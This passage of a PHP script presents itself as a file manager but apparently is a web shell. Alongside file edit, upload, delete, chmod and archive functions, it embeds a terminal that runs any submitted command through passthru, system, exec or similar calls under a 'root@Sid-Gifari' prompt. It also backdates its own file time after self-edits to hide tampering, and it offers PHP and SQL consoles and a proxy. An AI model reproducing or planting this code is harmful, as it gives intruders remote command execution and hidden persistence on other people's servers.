<tr><th colspan="2">'.__('File manager').' - '.__('Settings').'</th></tr>
'.(empty($msg_ntimes)?'':'<tr><td class="row2" colspan="2">'.$msg_ntimes.'</td></tr>').'
'.fm_config_checkbox_row(__('Show size of the folder'),'show_dir_size').'
'.fm_config_checkbox_row(__('Show').' '.__('pictures'),'show_img').'
'.fm_config_checkbox_row(__('Show').' '.__('Make directory'),'make_directory').'
'.fm_config_checkbox_row(__('Show').' '.__('New file'),'new_file').'
'.fm_config_checkbox_row(__('Show').' '.__('Upload'),'upload_file').'
'.fm_config_checkbox_row(__('Show').' PHP version','show_php_ver').'
'.fm_config_checkbox_row(__('Show').' PHP ini','show_php_ini').'
'.fm_config_checkbox_row(__('Show').' '.__('Generation time'),'show_gt').'
'.fm_config_checkbox_row(__('Show').' xls','show_xls').'
'.fm_config_checkbox_row(__('Show').' PHP '.__('Console'),'enable_php_console').'
'.fm_config_checkbox_row(__('Show').' SQL '.__('Console'),'enable_sql_console').'
<tr><td class="row1"><input name="fm_config[sql_server]" value="'.$fm_config['sql_server'].'" type="text"></td><td class="row2 whole">SQL server</td></tr>
<tr><td class="row1"><input name="fm_config[sql_username]" value="'.$fm_config['sql_username'].'" type="text"></td><td class="row2 whole">SQL user</td></tr>
<tr><td class="row1"><input name="fm_config[sql_password]" value="'.$fm_config['sql_password'].'" type="text"></td><td class="row2 whole">SQL password</td></tr>
<tr><td class="row1"><input name="fm_config[sql_db]" value="'.$fm_config['sql_db'].'" type="text"></td><td class="row2 whole">SQL DB</td></tr>
'.fm_config_checkbox_row(__('Show').' Proxy','enable_proxy').'
'.fm_config_checkbox_row(__('Show').' phpinfo()','show_phpinfo').'
'.fm_config_checkbox_row(__('Show').' '.__('Settings'),'fm_settings').'
'.fm_config_checkbox_row(__('Restore file time after editing'),'restore_time').'
'.fm_config_checkbox_row(__('File manager').': '.__('Restore file time after editing'),'fm_restore_time').'
<tr><td class="row3"><a href="'.fm_url().'?fm_settings=true&fm_config_delete=true">'.__('Reset settings').'</a></td><td class="row3"><input type="submit" value="'.__('Save').'" name="fm_config[fm_set_submit]"></td></tr>
</form>
</table>
<table>
<form method="post" action="">
<tr><th colspan="2">'.__('Settings').' - '.__('Authorization').'</th></tr>
<tr><td class="row1"><input name="fm_login[authorize]" value="1" '.($auth['authorize']?'checked':'').' type="checkbox" id="auth"></td><td class="row2 whole"><label for="auth">'.__('Authorization').'</label></td></tr>
<tr><td class="row1"><input name="fm_login[login]" value="'.$auth['login'].'" type="text"></td><td class="row2 whole">'.__('Login').'</td></tr>
<tr><td class="row1"><input name="fm_login[password]" value="'.$auth['password'].'" type="text"></td><td class="row2 whole">'.__('Password').'</td></tr>
<tr><td class="row1"><input name="fm_login[cookie_name]" value="'.$auth['cookie_name'].'" type="text"></td><td class="row2 whole">'.__('Cookie').'</td></tr>
<tr><td class="row1"><input name="fm_login[days_authorization]" value="'.$auth['days_authorization'].'" type="text"></td><td class="row2 whole">'.__('Days').'</td></tr>
<tr><td class="row1"><textarea name="fm_login[script]" cols="35" rows="7" class="textarea_input" id="auth_script">'.$auth['script'].'</textarea></td><td class="row2 whole">'.__('Script').'</td></tr>
<tr><td colspan="2" class="row3"><input type="submit" value="'.__('Save').'" ></td></tr>
</form>
</table>';
echo fm_tpl_form('php'),fm_tpl_form('sql');
} elseif (isset($proxy_form)) {
	die($proxy_form);
} elseif (isset($res_lng)) {	
?>
<table class="whole">
<tr>
    <th><?=__('File manager').' - '.$path?></th>
</tr>

</table>
<?php
	if (!empty($res)) {
		$fun='fm_'.$res_lng;
		echo '<h3>'.strtoupper($res_lng).' '.__('Result').'</h3><pre>'.$fun($res).'</pre>';
	}
} elseif (!empty($_REQUEST['edit'])){
	if(!empty($_REQUEST['save'])) {
		$fn = $path . $_REQUEST['edit'];
		$filemtime = filemtime($fn);
	    if (file_put_contents($fn, $_REQUEST['newcontent'])) $msg_ntimes .= __('File updated');
		else $msg_ntimes .= __('Error occurred');
		if ($_GET['edit']==basename(__FILE__)) {
			touch(__FILE__,1415116371);
		} else {
			if (!empty($fm_config['restore_time'])) touch($fn,$filemtime);
		}
	}
    $oldcontent = @file_get_contents($path . $_REQUEST['edit']);
    $editlink = $url_inc . '&edit=' . $_REQUEST['edit'] . '&path=' . $path;
    $backlink = $url_inc . '&path=' . $path;
?>
<table border='0' cellspacing='0' cellpadding='1' width="100%">
<tr>
    <th><?=__('File manager').' - '.__('Edit').' - '.$path.$_REQUEST['edit']?></th>
</tr>
<tr>
    <td class="row1">
        <?=$msg_ntimes?>
	</td>
</tr>
<tr>
    <td class="row1">
        <?=fm_home()?> <a href="<?=$backlink?>"><?=__('Back')?></a>
	</td>
</tr>
<tr>
    <td class="row1" align="center">
        <form name="form1" method="post" action="<?=$editlink?>">
            <textarea name="newcontent" id="newcontent" cols="45" rows="15" style="width:99%" spellcheck="false"><?=htmlspecialchars($oldcontent)?></textarea>
            <input type="submit" name="save" value="<?=__('Submit')?>">
            <input type="submit" name="cancel" value="<?=__('Cancel')?>">
        </form>
    </td>
</tr>
</table>
<?php
echo $auth['script'];
} elseif(!empty($_REQUEST['rights'])){
	if(!empty($_REQUEST['save'])) {
	    if(fm_chmod($path . $_REQUEST['rights'], fm_convert_rights($_REQUEST['rights_val']), @$_REQUEST['recursively']))
		$msg_ntimes .= (__('File updated')); 
		else $msg_ntimes .= (__('Error occurred'));
	}
	clearstatcache();
    $oldrights = fm_rights_string($path . $_REQUEST['rights'], true);
    $link = $url_inc . '&rights=' . $_REQUEST['rights'] . '&path=' . $path;
    $backlink = $url_inc . '&path=' . $path;
?>
<table class="whole">
<tr>
    <th><?=__('File manager').' - '.$path?></th>
</tr>
<tr>
    <td class="row1">
        <?=$msg_ntimes?>
	</td>
</tr>
<tr>
    <td class="row1">
        <a href="<?=$backlink?>"><?=__('Back')?></a>
	</td>
</tr>
<tr>
    <td class="row1" align="center">
        <form name="form1" method="post" action="<?=$link?>">
           <?=__('Rights').' - '.$_REQUEST['rights']?> <input type="text" name="rights_val" value="<?=$oldrights?>">
        <?php if (is_dir($path.$_REQUEST['rights'])) { ?>
            <input type="checkbox" name="recursively" value="1"> <?=__('Recursively')?><br/>
        <?php } ?>
            <input type="submit" name="save" value="<?=__('Submit')?>">
        </form>
    </td>
</tr>
</table>
<?php
} elseif (!empty($_REQUEST['rename'])&&$_REQUEST['rename']<>'.') {
	if(!empty($_REQUEST['save'])) {
	    rename($path . $_REQUEST['rename'], $path . $_REQUEST['newname']);
		$msg_ntimes .= (__('File updated'));
		$_REQUEST['rename'] = $_REQUEST['newname'];
	}
	clearstatcache();
    $link = $url_inc . '&rename=' . $_REQUEST['rename'] . '&path=' . $path;
    $backlink = $url_inc . '&path=' . $path;

?>
<table class="whole">
<tr>
    <th><?=__('File manager').' - '.$path?></th>
</tr>
<tr>
    <td class="row1">
        <?=$msg_ntimes?>
	</td>
</tr>
<tr>
    <td class="row1">
        <a href="<?=$backlink?>"><?=__('Back')?></a>
	</td>
</tr>
<tr>
    <td class="row1" align="center">
        <form name="form1" method="post" action="<?=$link?>">
            <?=__('Rename')?>: <input type="text" name="newname" value="<?=$_REQUEST['rename']?>"><br/>
            <input type="submit" name="save" value="<?=__('Submit')?>">
        </form>
    </td>
</tr>
</table>
<?php

} else {
                       
//quanxian gai bian hou xu yao xi tong chongqi
                    
    $msg_ntimes = '';

    if(!empty($_FILES['upload'])&&!empty($fm_config['upload_file'])) {

        if(!empty($_FILES['upload']['name'])){
            $_FILES['upload']['name'] = str_replace('%', '', $_FILES['upload']['name']);

            if(!move_uploaded_file($_FILES['upload']['tmp_name'], $path . $_FILES['upload']['name'])){
                $msg_ntimes .= __('Error occurred');
                      
            } else {

		     		     $msg_ntimes .= __('Files uploaded').': '.$_FILES['upload']['name'];

		     	}
                       
        }
    } elseif(!empty($_REQUEST['delete'])&&$_REQUEST['delete']<>'.') {
        if(!fm_del_khumfail(($path . $_REQUEST['delete']), true)) {
            $msg_ntimes .= __('Error occurred');
                    
        } else {

		     	$msg_ntimes .= __('Deleted').' '.$_REQUEST['delete'];
		     }
	} elseif(!empty($_REQUEST['mkdir'])&&!empty($fm_config['make_directory'])) {
        if(!@mkdir($path . $_REQUEST['dirname'],0777)) {
                      
            $msg_ntimes .= __('Error occurred');
        } else {
                     
		     	$msg_ntimes .= __('Created').' '.$_REQUEST['dirname'];
		     }

    } elseif(!empty($_POST['search_recursive'])) {
		     ini_set('max_execution_time', '0');
		     $search_data =  find_text_in_khumfail($_POST['path'], $_POST['mask'], $_POST['search_recursive']);

		     if(!empty($search_data)) {
                       
		     	$msg_ntimes .= __('Found in khumfail').' ('.count($search_data).'):<br>';

		     	foreach ($search_data as $filename) {
                    
		     		     $msg_ntimes .= '<a href="'.thangweb(true).'?fm=true&edit='.basename($filename).'&path='.str_replace('/'.basename($filename),'/',$filename).'" title="' . __('Edit') . '">'.basename($filename).'</a>&nbsp; &nbsp;';

		     	}
		     } else {
		     	$msg_ntimes .= __('Nothing founded');

		     }	

	} elseif(!empty($_REQUEST['mkfile'])&&!empty($fm_config['new_file'])) {

        if(!$fp=@fopen($path . $_REQUEST['filename'],"w")) {

            $msg_ntimes .= __('Error occurred');
                    
        } else {

		     	fclose($fp);
                     
		     	$msg_ntimes .= __('Created').' '.$_REQUEST['filename'];
		     }

    } elseif (isset($_GET['zip'])) {
		     $source = base64_decode($_GET['zip']);
		     $destination = basename($source).'.zip';
                      
		     set_time_limit(0);

		     $phar = new PharData($destination);

		     $phar->buildFromDirectory($source);
                      
		     if (is_file($destination))
                     
		     $msg_ntimes .= __('Task').' "'.__('Archiving').' '.$destination.'" '.__('done').

		     '.&nbsp;'.rangkhwampanithan('download',$path.$destination,__('Download'),__('Download').' '. $destination)
		     .'&nbsp;<a href="'.$url_inc.'&delete='.$destination.'&path=' . $path.'" title="'.__('Delete').' '. $destination.'" >'.__('Delete') . '</a>';

		     else $msg_ntimes .= __('Error occurred').': '.__('no khumfail');

	} elseif (isset($_GET['gz'])) {

		     $source = base64_decode($_GET['gz']);

		     $archive = $source.'.tar';

		     $destination = basename($source).'.tar';
		     if (is_file($archive)) unlink($archive);

		     if (is_file($archive.'.gz')) unlink($archive.'.gz');
                       
		     clearstatcache();

		     set_time_limit(0);

		     //die();
		     $phar = new PharData($destination);
		     $phar->buildFromDirectory($source);

		     $phar->compress(Phar::GZ,'.tar.gz');
		     unset($phar);
		     if (is_file($archive)) {

		     	if (is_file($archive.'.gz')) {
		     		     unlink($archive); 
		     		     $destination .= '.gz';

		     	}


                       
		     	$msg_ntimes .= __('Task').' "'.__('Archiving').' '.$destination.'" '.__('done').

		     	'.&nbsp;'.rangkhwampanithan('download',$path.$destination,__('Download'),__('Download').' '. $destination)
                       
		     	.'&nbsp;<a href="'.$url_inc.'&delete='.$destination.'&path=' . $path.'" title="'.__('Delete').' '.$destination.'" >'.__('Delete').'</a>';
		     } else $msg_ntimes .= __('Error occurred').': '.__('no khumfail');

	} elseif (isset($_GET['decompress'])) {

		     // $source = base64_decode($_GET['decompress']);
		     // $destination = basename($source);
                     
		     // $ext = end(explode(".", $destination));

		     // if ($ext=='zip' OR $ext=='gz') {

		     	// $phar = new PharData($source);

		     	// $phar->decompress();
                     
		     	// $base_file = str_replace('.'.$ext,'',$destination);

		     	// $ext = end(explode(".", $base_file));

		     	// if ($ext=='tar'){
		     		     // $phar = new PharData($base_file);
                    
		     		     // $phar->extractTo(dir($source));

		     	// }

		     // } 

		     // $msg_ntimes .= __('Task').' "'.__('Decompress').' '.$source.'" '.__('done');

	} elseif (isset($_GET['gzfile'])) {

		     $source = base64_decode($_GET['gzfile']);

		     $archive = $source.'.tar';

		     $destination = basename($source).'.tar';
                     
		     if (is_file($archive)) unlink($archive);
		     if (is_file($archive.'.gz')) unlink($archive.'.gz');

		     set_time_limit(0);
		     //echo $destination;
                       
		     $ext_arr = explode('.',basename($source));
		     if (isset($ext_arr[1])) {
                     
		     	unset($ext_arr[0]);

		     	$ext=implode('.',$ext_arr);
		     } 

		     $phar = new PharData($destination);

		     $phar->addFile($source);

		     $phar->compress(Phar::GZ,$ext.'.tar.gz');

		     unset($phar);

		     if (is_file($archive)) {
		     	if (is_file($archive.'.gz')) {

		     		     unlink($archive); 

		     		     $destination .= '.gz';

		     	}
                    
		     	$msg_ntimes .= __('Task').' "'.__('Archiving').' '.$destination.'" '.__('done').

		     	'.&nbsp;'.rangkhwampanithan('download',$path.$destination,__('Download'),__('Download').' '. $destination)

		     	.'&nbsp;<a href="'.$url_inc.'&delete='.$destination.'&path=' . $path.'" title="'.__('Delete').' '.$destination.'" >'.__('Delete').'</a>';

		     } else $msg_ntimes .= __('Error occurred').': '.__('no khumfail');

	}
                      
?>
<table class="whole" id="header_table" >
<tr>
    <th colspan="2"><?=__('File manager')?><?=(!empty($path)?' - '.$path:'')?></th>
</tr>
<?php if(!empty($msg_ntimes)){ ?>
<tr>
	<td colspan="2" class="row2"><?=$msg_ntimes?></td>
</tr>
<?php } ?>
<tr>
    <td class="row2">
		<table>
			<tr>
			<td>
				<?=fm_home()?>
			</td>
			<td>
<?php
session_start();

// Allowed functions
$execFunctions = ['passthru', 'system', 'exec', 'shell_exec', 'proc_open', 'popen'];

// Check if at least one is available
$canExecute = false;
foreach ($execFunctions as $func) {
    if (function_exists($func)) {
        $canExecute = true;
        break;
    }
}

// Initialize cwd
if (!isset($_SESSION['cwd'])) {
    $_SESSION['cwd'] = getcwd();
}

// Change directory if POSTed
if (isset($_POST['path']) && is_dir($_POST['path'])) {
    $_SESSION['cwd'] = realpath($_POST['path']);
}

$cwd = $_SESSION['cwd'];
$output = "";

// Process terminal input
if (isset($_POST['terminal'])) {
    $cmdInput = trim($_POST['terminal-text']);

    // Handle cd
    if (preg_match('/^cd\s*(.*)$/', $cmdInput, $matches)) {
        $dir = trim($matches[1]);

        if ($dir === '' || $dir === '~') {
            $dir = $_SERVER['DOCUMENT_ROOT'] ?? $cwd;
        } elseif ($dir[0] !== '/' && $dir[0] !== '\\') {
            $dir = $cwd . DIRECTORY_SEPARATOR . $dir;
        }

        $realDir = realpath($dir);

        if ($realDir && is_dir($realDir)) {
            $_SESSION['cwd'] = $realDir;
            $cwd = $realDir;
            $output = "Changed directory to " . htmlspecialchars($realDir);
        } else {
            $output = "bash: cd: " . htmlspecialchars($matches[1]) . ": No such file or directory";
        }

    } else {

        if ($canExecute) {

            // Change working directory
            chdir($cwd);

            // Allow safe characters; do NOT break arguments
            $cmd = $cmdInput . " 2>&1";

            // PRIORITY: passthru first
            if (function_exists('passthru')) {
                ob_start();
                passthru($cmd);
                $output = ob_get_clean();

            } elseif (function_exists('system')) {
                ob_start();
                system($cmd);
                $output = ob_get_clean();

            } elseif (function_exists('exec')) {
                exec($cmd, $out);
                $output = implode("\n", $out);

            } elseif (function_exists('shell_exec')) {
                $output = shell_exec($cmd);

            } elseif (function_exists('proc_open')) {
                $pipes = [];
                $process = proc_open($cmd, [
                    0 => ["pipe", "r"],
                    1 => ["pipe", "w"],
                    2 => ["pipe", "w"]
                ], $pipes, $cwd);

                if (is_resource($process)) {
                    fclose($pipes[0]);
                    $output = stream_get_contents($pipes[1]);
                    fclose($pipes[1]);
                    $output .= stream_get_contents($pipes[2]);
                    fclose($pipes[2]);
                    proc_close($process);
                } else {
                    $output = "Failed to execute command via proc_open.";
                }

            } elseif (function_exists('popen')) {
                $handle = popen($cmd, 'r');
                if ($handle) {
                    $output = stream_get_contents($handle);
                    pclose($handle);
                } else {
                    $output = "Failed to execute command via popen.";
                }

            } else {
                $output = "Error: No command execution functions available.";
            }

        } else {
            $output = "Command execution functions are disabled on this server.";
        }
    }
}

if (!isset($url_inc)) $url_inc = htmlspecialchars($_SERVER['PHP_SELF']);
if (!isset($path)) $path = $cwd;
?>

<strong>root@Sid-Gifari:<?php echo htmlspecialchars($cwd); ?>$</strong><br>
<pre><?php echo htmlspecialchars($output); ?></pre>

<form method="post" action="<?php echo $url_inc; ?>">
    <input type="text" name="terminal-text" size="30" placeholder="Cmd" />
    <input type="hidden" name="path" value="<?php echo htmlspecialchars($path); ?>" />
    <input type="submit" name="terminal" value="Execute" />
</form>


</td>
			<td>
			<?php if(!empty($fm_config['make_directory'])) { ?>
				<form method="post" action="<?=$url_inc?>">
				<input type="hidden" name="path" value="<?=$path?>" />
				<input type="text" name="dirname" size="15">
				<input type="submit" name="mkdir" value="<?=__('Make directory')?>">
				</form>
			<?php } ?>
			</td>
			<td>
			<?php if(!empty($fm_config['new_file'])) { ?>
				<form method="post" action="<?=$url_inc?>">
				<input type="hidden" name="path"     value="<?=$path?>" />
				<input type="text"   name="filename" size="15">
				<input type="submit" name="mkfile"   value="<?=__('New file')?>">
				</form>
			<?php } ?>
			</td>
			<td>
				<form  method="post" action="<?=$url_inc?>" style="display:inline">
				<input type="hidden" name="path" value="<?=$path?>" />
				<input type="text" placeholder="<?=__('Recursive search')?>" name="search_recursive" value="<?=!empty($_POST['search_recursive'])?$_POST['search_recursive']:''?>" size="15">
				<input type="text" name="mask" placeholder="<?=__('Mask')?>" value="<?=!empty($_POST['mask'])?$_POST['mask']:'*.*'?>" size="5">
				<input type="submit" name="search" value="<?=__('Search')?>">
				</form>
			</td>
			<td>
			<?=fm_run_input('php')?>
			</td>
			<td>
			<?=fm_run_input('sql')?>
			</td>
			</tr>
		</table>
    </td>
    <td class="row3">
		<table>
		<tr>
		     <td>

		     <?php if (!empty($fm_config['upload_file'])) { ?>
                      
		     	<form name="form1" method="post" action="<?=$url_inc?>" enctype="multipart/form-data">
                    
		     	<input type="hidden" name="path" value="<?=$path?>" />

		     	<input type="file" name="upload" id="upload_hidden" style="position: absolute; display: block; overflow: hidden; width: 0; height: 0; border: 0; padding: 0;" onchange="document.getElementById('upload_visible').value = this.value;" />

		     	<input type="text" readonly="1" id="upload_visible" placeholder="<?=__('Select the file')?>" style="cursor: pointer;" onclick="document.getElementById('upload_hidden').click();" />
                       
		     	<input type="submit" name="test" value="<?=__('Upload')?>" />

		     	</form>

		     <?php } ?>
                    
		     </td>
		<td>
		<?php if ($auth['authorize']) { ?>
			<form action="" method="post">&nbsp;&nbsp;&nbsp;
			<input name="quit" type="hidden" value="1">
			<?=__('Hello')?>, <?=$auth['login']?>
			<input type="submit" value="<?=__('Quit')?>">
			</form>
		<?php } ?>
		</td>
		<td>
		<?=fm_lang_form($language)?>
		</td>
		<tr>
		</table>
    </td>
</tr>
</table>
<table class="all" border='0' cellspacing='1' cellpadding='1' id="fm_table" width="100%">
<thead>
<tr> 
    <th style="white-space:nowrap"> <?=__('Filename')?> </th>
    <th style="white-space:nowrap"> <?=__('Size')?> </th>
    <th style="white-space:nowrap"> <?=__('Date')?> </th>
    <th style="white-space:nowrap"> <?=__('Rights')?> </th>
    <th colspan="4" style="white-space:nowrap"> <?=__('Manage')?> </th>
</tr>
</thead>
<tbody>
<?php
$elements = fm_scan_dir($path, '', 'all', true);
$dirs = array();
$files = array();
foreach ($elements as $file){
    if(@is_dir($path . $file)){
        $dirs[] = $file;
    } else {
        $files[] = $file;
    }
}
natsort($dirs); natsort($files);
$elements = array_merge($dirs, $files);

foreach ($elements as $file){
    $filename = $path . $file;
    $filedata = @stat($filename);
    if(@is_dir($filename)){
		$filedata[7] = '';
		if (!empty($fm_config['show_dir_size'])&&!fm_root($file)) $filedata[7] = fm_dir_size($filename);
        $link = '<a href="'.$url_inc.'&path='.$path.$file.'" title="'.__('Show').' '.$file.'"><span class="folder">&nbsp;&nbsp;&nbsp;&nbsp;</span> '.$file.'</a>';
        $loadlink= (fm_root($file)||$phar_maybe) ? '' : fm_link('zip',$filename,__('Compress').'&nbsp;zip',__('Archiving').' '. $file);
		$arlink  = (fm_root($file)||$phar_maybe) ? '' : fm_link('gz',$filename,__('Compress').'&nbsp;.tar.gz',__('Archiving').' '.$file);
        $style = 'row2';
		 if (!fm_root($file)) $alert = 'onClick="if(confirm(\'' . __('Are you sure you want to delete this directory (recursively)?').'\n /'. $file. '\')) document.location.href = \'' . $url_inc . '&delete=' . $file . '&path=' . $path  . '\'"'; else $alert = '';
    } else {
		$link = 
			$fm_config['show_img']&&@getimagesize($filename) 
			? '<a target="_blank" onclick="var lefto = screen.availWidth/2-320;window.open(\''
			. fm_img_link($filename)
			.'\',\'popup\',\'width=640,height=480,left=\' + lefto + \',scrollbars=yes,toolbar=no,location=no,directories=no,status=no\');return false;" href="'.fm_img_link($filename).'"><span class="img">&nbsp;&nbsp;&nbsp;&nbsp;</span> '.$file.'</a>'
			: '<a href="' . $url_inc . '&edit=' . $file . '&path=' . $path. '" title="' . __('Edit') . '"><span class="file">&nbsp;&nbsp;&nbsp;&nbsp;</span> '.$file.'</a>';
		$e_arr = explode(".", $file);
		$ext = end($e_arr);
        $loadlink =  fm_link('download',$filename,__('Download'),__('Download').' '. $file);
		$arlink = in_array($ext,array('zip','gz','tar')) 
		? ''
		: ((fm_root($file)||$phar_maybe) ? '' : fm_link('gzfile',$filename,__('Compress').'&nbsp;.tar.gz',__('Archiving').' '. $file));
        $style = 'row1';
		$alert = 'onClick="if(confirm(\''. __('File selected').': \n'. $file. '. \n'.__('Are you sure you want to delete this file?') . '\')) document.location.href = \'' . $url_inc . '&delete=' . $file . '&path=' . $path  . '\'"';
    }
    $deletelink = fm_root($file) ? '' : '<a href="#" title="' . __('Delete') . ' '. $file . '" ' . $alert . '>' . __('Delete') . '</a>';
    $renamelink = fm_root($file) ? '' : '<a href="' . $url_inc . '&rename=' . $file . '&path=' . $path . '" title="' . __('Rename') .' '. $file . '">' . __('Rename') . '</a>';
    $rightstext = ($file=='.' || $file=='..') ? '' : '<a href="' . $url_inc . '&rights=' . $file . '&path=' . $path . '" title="' . __('Rights') .' '. $file . '">' . @fm_rights_string($filename) . '</a>';
?>
<tr class="<?=$style?>"> 
    <td><?=$link?></td>
    <td><?=$filedata[7]?></td>
    <td style="white-space:nowrap"><?=gmdate("Y-m-d H:i:s",$filedata[9])?></td>
    <td><?=$rightstext?></td>
    <td><?=$deletelink?></td>
    <td><?=$renamelink?></td>
    <td><?=$loadlink?></td>
    <td><?=$arlink?></td>
</tr>
<?php
    }
}
?>
</tbody>
</table>
<div class="row3"><?php
	$mtime = explode(' ', microtime()); 
	$totaltime = $mtime[0] + $mtime[1] - $starttime; 
	echo fm_home().' | ver. '.$fm_version.' | <a href="https://">Github</a>  | <a href="'.fm_site_url().'">.</a>';
	if (!empty($fm_config['show_php_ver'])) echo ' | PHP '.phpversion();
	if (!empty($fm_config['show_php_ini'])) echo ' | '.php_ini_loaded_file();
	if (!empty($fm_config['show_gt'])) echo ' | '.__('Generation time').': '.round($totaltime,2);
	if (!empty($fm_config['enable_proxy'])) echo ' | <a href="?proxy=true">proxy</a>';
	if (!empty($fm_config['show_phpinfo'])) echo ' | <a href="?phpinfo=true">phpinfo</a>';
	if (!empty($fm_config['show_xls'])&&!empty($link)) echo ' | <a href="javascript: void(0)" onclick="var obj = new table2Excel(); obj.CreateExcelSheet(\'fm_table\',\'export\');" title="'.__('Download').' xls">xls</a>';
	if (!empty($fm_config['fm_settings'])) echo ' | <a href="?fm_settings=true">'.__('Settings').'</a>';
	?>


<?php
//Ported from ReloadCMS project http://reloadcms.com
class archiveTar {
	var $archive_name = '';
	var $tmp_file = 0;
	var $file_pos = 0;
	var $isGzipped = true;
	var $errors = array();
	var $files = array();
	
	function __construct(){
		if (!isset($this->errors)) $this->errors = array();
	}
	
	function createArchive($file_list){
		$result = false;
		if (file_exists($this->archive_name) && is_file($this->archive_name)) 	$newArchive = false;
		else $newArchive = true;
		if ($newArchive){
			if (!$this->openWrite()) return false;
		} else {
			if (filesize($this->archive_name) == 0)	return $this->openWrite();
			if ($this->isGzipped) {
				$this->closeTmpFile();
				if (!rename($this->archive_name, $this->archive_name.'.tmp')){
					$this->errors[] = __('Cannot rename').' '.$this->archive_name.__(' to ').$this->archive_name.'.tmp';
					return false;
				}
				$tmpArchive = gzopen($this->archive_name.'.tmp', 'rb');
				if (!$tmpArchive){
					$this->errors[] = $this->archive_name.'.tmp '.__('is not readable');
					rename($this->archive_name.'.tmp', $this->archive_name);
					return false;
				}
				if (!$this->openWrite()){
					rename($this->archive_name.'.tmp', $this->archive_name);
					return false;
				}
				$buffer = gzread($tmpArchive, 512);
				if (!gzeof($tmpArchive)){
					do {
						$binaryData = pack('a512', $buffer);
						$this->writeBlock($binaryData);
						$buffer = gzread($tmpArchive, 512);
					}
					while (!gzeof($tmpArchive));
				}
				gzclose($tmpArchive);
				unlink($this->archive_name.'.tmp');
			} else {
				$this->tmp_file = fopen($this->archive_name, 'r+b');
				if (!$this->tmp_file)	return false;
			}
		}
		if (isset($file_list) && is_array($file_list)) {
		if (count($file_list)>0)
			$result = $this->packFileArray($file_list);
		} else $this->errors[] = __('No file').__(' to ').__('Archive');
		if (($result)&&(is_resource($this->tmp_file))){
			$binaryData = pack('a512', '');
			$this->writeBlock($binaryData);
		}
		$this->closeTmpFile();
		if ($newArchive && !$result){
		$this->closeTmpFile();
		unlink($this->archive_name);
		}
		return $result;
	}

	function restoreArchive($path){
		$fileName = $this->archive_name;
		if (!$this->isGzipped){
			if (file_exists($fileName)){
				if ($fp = fopen($fileName, 'rb')){
					$data = fread($fp, 2);
					fclose($fp);
					if ($data == '\37\213'){
						$this->isGzipped = true;
					}
				}
			}
			elseif ((substr($fileName, -2) == 'gz') OR (substr($fileName, -3) == 'tgz')) $this->isGzipped = true;
		} 
		$result = true;
		if ($this->isGzipped) $this->tmp_file = gzopen($fileName, 'rb');
		else $this->tmp_file = fopen($fileName, 'rb');
		if (!$this->tmp_file){
			$this->errors[] = $fileName.' '.__('is not readable');
			return false;
		}
		$result = $this->unpackFileArray($path);
			$this->closeTmpFile();
		return $result;
	}

	function showErrors	($message = '') {
		$Errors = $this->errors;
		if(count($Errors)>0) {
		if (!empty($message)) $message = ' ('.$message.')';
			$message = __('Error occurred').$message.': <br/>';
			foreach ($Errors as $value)
				$message .= $value.'<br/>';
			return $message;	
		} else return '';
		
	}
	
	function packFileArray($file_array){
		$result = true;
		if (!$this->tmp_file){
			$this->errors[] = __('Invalid file descriptor');
			return false;
		}
		if (!is_array($file_array) || count($file_array)<=0)
          return true;
		for ($i = 0; $i<count($file_array); $i++){
			$filename = $file_array[$i];
			if ($filename == $this->archive_name)
				continue;
			if (strlen($filename)<=0)
				continue;
			if (!file_exists($filename)){
				$this->errors[] = __('No file').' '.$filename;
				continue;
			}
			if (!$this->tmp_file){
			$this->errors[] = __('Invalid file descriptor');
			return false;
			}
		if (strlen($filename)<=0){
			$this->errors[] = __('Filename').' '.__('is incorrect');;
			return false;
		}
		$filename = str_replace('\\', '/', $filename);
		$keep_filename = $this->makeGoodPath($filename);
		if (is_file($filename)){
			if (($file = fopen($filename, 'rb')) == 0){
				$this->errors[] = __('Mode ').__('is incorrect');
			}
				if(($this->file_pos == 0)){
					if(!$this->writeHeader($filename, $keep_filename))
						return false;
				}
				while (($buffer = fread($file, 512)) != ''){
					$binaryData = pack('a512', $buffer);
					$this->writeBlock($binaryData);
				}
			fclose($file);
		}	else $this->writeHeader($filename, $keep_filename);
			if (@is_dir($filename)){
				if (!($handle = opendir($filename))){
					$this->errors[] = __('Error').': '.__('Directory ').$filename.__('is not readable');
					continue;
				}
				while (false !== ($dir = readdir($handle))){
					if ($dir!='.' && $dir!='..'){
						$file_array_tmp = array();
						if ($filename != '.')
							$file_array_tmp[] = $filename.'/'.$dir;
						else
							$file_array_tmp[] = $dir;

						$result = $this->packFileArray($file_array_tmp);
					}
				}
				unset($file_array_tmp);
				unset($dir);
				unset($handle);
			}
		}
		return $result;
	}

	function unpackFileArray($path){ 
		$path = str_replace('\\', '/', $path);
		if ($path == ''	|| (substr($path, 0, 1) != '/' && substr($path, 0, 3) != '../' && !strpos($path, ':')))	$path = './'.$path;
		clearstatcache();
		while (strlen($binaryData = $this->readBlock()) != 0){
			if (!$this->readHeader($binaryData, $header)) return false;
			if ($header['filename'] == '') continue;
			if ($header['typeflag'] == 'L'){			//reading long header
				$filename = '';
				$decr = floor($header['size']/512);
				for ($i = 0; $i < $decr; $i++){
					$content = $this->readBlock();
					$filename .= $content;
				}
				if (($laspiece = $header['size'] % 512) != 0){
					$content = $this->readBlock();
					$filename .= substr($content, 0, $laspiece);
				}
				$binaryData = $this->readBlock();
				if (!$this->readHeader($binaryData, $header)) return false;
				else $header['filename'] = $filename;
				return true;
			}
			if (($path != './') && ($path != '/')){
				while (substr($path, -1) == '/') $path = substr($path, 0, strlen($path)-1);
				if (substr($header['filename'], 0, 1) == '/') $header['filename'] = $path.$header['filename'];
				else $header['filename'] = $path.'/'.$header['filename'];
			}
			
			if (file_exists($header['filename'])){
				if ((@is_dir($header['filename'])) && ($header['typeflag'] == '')){
					$this->errors[] =__('File ').$header['filename'].__(' already exists').__(' as folder');
					return false;
				}
				if ((is_file($header['filename'])) && ($header['typeflag'] == '5')){
					$this->errors[] =__('Cannot create directory').'. '.__('File ').$header['filename'].__(' already exists');
					return false;
				}
				if (!is_writeable($header['filename'])){
					$this->errors[] = __('Cannot write to file').'. '.__('File ').$header['filename'].__(' already exists');
					return false;
				}
			} elseif (($this->dirCheck(($header['typeflag'] == '5' ? $header['filename'] : dirname($header['filename'])))) != 1){
				$this->errors[] = __('Cannot create directory').' '.__(' for ').$header['filename'];
				return false;
			}

			if ($header['typeflag'] == '5'){
				if (!file_exists($header['filename']))		{
					if (!mkdir($header['filename'], 0777))	{
						
						$this->errors[] = __('Cannot create directory').' '.$header['filename'];
						return false;
					} 
				}
			} else {
				if (($destination = fopen($header['filename'], 'wb')) == 0) {
					$this->errors[] = __('Cannot write to file').' '.$header['filename'];
					return false;
				} else {
